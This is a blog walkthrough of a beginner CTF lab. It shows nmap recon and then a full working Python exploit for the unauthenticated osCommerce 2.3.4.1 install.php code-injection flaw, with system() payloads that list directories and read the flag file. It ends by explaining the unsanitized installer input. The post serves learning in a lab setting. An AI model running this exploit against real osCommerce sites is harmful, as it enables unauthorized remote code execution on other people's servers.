CTF.live - Ecommerce: Web to Shell Walkthrough

This post is originally written in my personal blog Anudeep's blog

This post is a walkthrough of a lab from ctflive. As the name suggests it's a Web Application Lab. I have been in search of beginner level labs to get started and found ctf lab which has labs that are beginner friendly. So without wasting much of your time let's get started.

Please go through the entire post as i am going to breakdown the exploit that was used 👨‍💻.

Before reading this I would like you to give it a try yourself. Here is the link to the lab. Ecommerce: Web to Shell

Walkthrough

Once you start your lab and open it you should see a e-commerce site. Looking around you can observe that it's a php based website. First of all let us try to understand what we need to achieve.

Mission

The attacker might not have any user-level access to the web application. However, this does not mean that the application cannot be attacked remotely. Vulnerabilities could be triggered even by unauthenticated users.

In this challenge, the attacker is unauthenticated to the web application and needs to find and exploit the vulnerability.

Objective: Exploit the vulnerability and retrieve the flag.

This is the mission provided in the lab description. Let's try to understand what it means. The attacker might not have any user-level access to the web application, this statement clearly gives you a hint that you need not create a user account to exploit this lab. And if we look closely at the name of the lab Ecommerce: Web to Shell, does it ring any bells??.

If you guessed that you need to get a shell access then you are right🥳.

Let's start with some recon. I ran a nmap scan on the host to grab some info.

$> nmap -A <link-to-lab>

From the nmap results now we know that there are two open ports:

1. Port 22 running OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
2. Port 80 running Apache/2.4.7

Let us try to find if there are any vulnerabilities which might lead to RCE(Remote Code Execution) on Apache/2.4.7 as our ultimate goal is to get a shell access. For the vulnerability search let's dive into exploit-db and search for Apache/2.4.7. I found the following vulnerabilities.

The first one should be our point of interest as it's of type Remote Code Execution. But that exploit only works with Apache/2.4.7 in combination with php/7.0.2. Even our current application works on PHP but lets try to find out the version of PHP that our application is using, for that head over to <link-to-lab>/phpinfo.php which should give you a page similar to this.

Oops! It's not PHP/7.0.2 rather it's PHP/5.5.9, so our exploit won't work here.

Get back to basics

Now let's try out our recon phase again.
I started looking at the website at this point. Initially I thought osCommerce is the name of the store but then if you look at the footer of the website you will find something interesting, It says Powered by osCommerce. Now a quick Google search reveals that osCommerce is an e-commerce and online store-management software program. Now let us again dive back to exploit-db and search for vulnerabilities with osCommerce (Application level vulnerability) and you find this.

Let's try out the fourth vulnerability that is listed in the image above. The following exploit code is found along with the vulnerability.

import requests

# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base_url = "http://localhost//oscommerce-2.3.4.1/catalog/"
target_url = "http://localhost/oscommerce-2.3.4.1/catalog/install/install.php?step=4"

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*

payload = '\');'
payload += 'system("ls");'    # this is where you enter you PHP payload
payload += '/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)

if r.status_code == 200:
    print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
    print("[-] Exploit did not execute as planned")

Now in the above exploit code I replaced the target url to the lab url and it should look like this.

import requests

# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base_url = "http://l4eowcwhoggdly42685x49mzl.ctf-india.attackdefenselabs.com"
target_url = "http://l4eowcwhoggdly42685x49mzl.ctf-india.attackdefenselabs.com/install/install.php?step=4"

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*

payload = '\');'
payload += 'system("ls");'    # this is where you enter you PHP payload
payload += '/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)

if r.status_code == 200:
    print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
    print("[-] Exploit did not execute as planned")

Now let us run the exploit.

The output in the terminal says the exploit was successful, buts let's checkout if it actually works.

Opening the link that was printed on the console actually runs the ls command on the server. Now we have shell access to the application that allows us to perform RCE(Remote Code Execution). Now let us change the command from the exploit code and let us try to find the flag file on the server.

• Try 1: cd to the root of the server and check if there are any interesting files or folders.

I have changed the payload to the following

payload += 'system("cd / && ls");'    # this is where you enter you PHP 

Run the exploit again and check the output.

The app folder looks interesting. Change the payload in the exploit, list the files in the folder and you should find a flag file. print out the flag file to get your flag.

Our final payload looks like this.

payload += 'system("cat /app/flag*");'    # this is where you enter you PHP payload

There you go, your flag which is a md5 hash.

Bingo🎉, we just solved our first lab.

Let us try to understand what just happened

I you look back at the exploit code you will see that we are just sending a post request with a crafted payload. So I downloaded the source code of osCommerce(you can find it here) and the problem lies with the osCommerce installation process.

So the problem is osCommerce doesn't put a check on if the app is already installed, this will allow the attacker to access the installation process again and reconfigure the site without having any user level access. In the payload we are sending the post request to step 4 because in step 4 of the installation process we are asked to configure the database and rest of the information and is written to the install/includes/configure.php. And the major problem here is that the input provided by user is not sanitized, this allows attacker to send crafted input as we did in the exploit above which allows us to inject the system command into the configure.php file. So when you open the configure.php file from your browser the system command that was injected gets executed and thus we have remote shell access to the server. This marks the end of this lab.

Happy hacking 👨‍💻